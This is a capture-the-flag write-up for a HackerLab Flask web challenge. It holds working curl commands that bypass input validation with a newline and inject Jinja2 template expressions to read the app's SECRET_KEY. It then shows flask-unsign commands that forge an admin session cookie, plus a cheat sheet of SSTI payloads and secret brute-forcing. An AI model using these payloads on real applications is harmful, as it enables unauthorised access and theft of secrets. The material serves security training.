Lucky Ticket (Счастливый билет)
Lucky Ticket (Счастливый билет)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-19 | Status: Solved Techniques: flask_session_forgery, newline_injection, secret_key_extraction, ssti_jinja2
Summary
Task: Flask web app with lottery ticket validation form. Solution: Bypass input validation with newline character (%0a) to exploit SSTI in Jinja2, extract SECRET_KEY from config, forge admin session with flask-unsign.
Lucky Ticket (Счастливый билет) — HackerLab
Description
"Держу лотерейный билет, и сердце замирает от волнения. Каждый новый билет — это шанс на удачу и надежда на перемены. Может, именно он станет моим счастливым?"
Target: 62.173.140.174:16063
Technology: Flask/Werkzeug Python 3.9.18
Analysis
Reconnaissance
Web application with the following functionality:
- User registration/authentication
- Lottery ticket validation form at
/check_ticket - Admin panel at
/admin(returns "Access denied!") - Flask session cookie for authentication
SSTI Discovery
The /check_ticket endpoint validates input with "Numbers only!", but the check can be bypassed using a newline character (%0a).
SSTI test:
bash read-only • copy allowedcurl -s -b "session=<valid_session>" -X POST http://62.173.140.174:16063/check_ticket \ -d "ticket=123%0a{{7*7}}"
Response:
Sorry, ticket #123
49 is not a winning one!
The expression {{7*7}} was evaluated as 49 — confirming SSTI in Jinja2.
Solution
Step 1: Extracting SECRET_KEY
Using SSTI to read Flask configuration:
bash read-only • copy allowedcurl -s -b "session=<valid_session>" -X POST http://62.173.140.174:16063/check_ticket \ -d "ticket=123%0a{{config['SECRET_KEY']}}"
Result: j43J7cEX8LtxTEQ4zqpK0utNqgwX2DCZ
Step 2: Forging Admin Session
Using flask-unsign to create a session with username=admin:
bash read-only • copy allowedflask-unsign --sign --cookie "{'username':'admin'}" --secret "j43J7cEX8LtxTEQ4zqpK0utNqgwX2DCZ"
Result: eyJ1c2VybmFtZSI6ImFkbWluIn0.aW1Q3A.2Rmoh_R5A6qrqN27EpuISXihMcw
Step 3: Accessing Admin Panel
bash read-only • copy allowedcurl -s -b "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aW1Q3A.2Rmoh_R5A6qrqN27EpuISXihMcw" \ http://62.173.140.174:16063/admin
The admin panel contains the flag.
Vulnerabilities
| # | Vulnerability | Description |
|---|---|---|
| 1 | SSTI (Server-Side Template Injection) | User input is rendered through Jinja2 without sanitization |
| 2 | Input Validation Bypass | Newline character (%0a) bypasses the "numbers only" check |
| 3 | Information Disclosure | SECRET_KEY is accessible via the config object |
| 4 | Insecure Session Management | Admin access is based only on username in the session |
| |
Useful Commands
Testing SSTI in Jinja2
bash read-only • copy allowed# Basic check {{7*7}} {{config}} {{self.__class__.__mro__}} # Reading SECRET_KEY {{config['SECRET_KEY']}} {{config.SECRET_KEY}}
Flask-unsign
bash read-only • copy allowed# Decoding session flask-unsign --decode --cookie "eyJ..." # Bruteforcing secret flask-unsign --unsign --cookie "eyJ..." --wordlist wordlist.txt # Signing new session flask-unsign --sign --cookie "{'username':'admin'}" --secret "SECRET"
References
- HackTricks - SSTI
- Flask-Unsign
- PayloadsAllTheThings - SSTI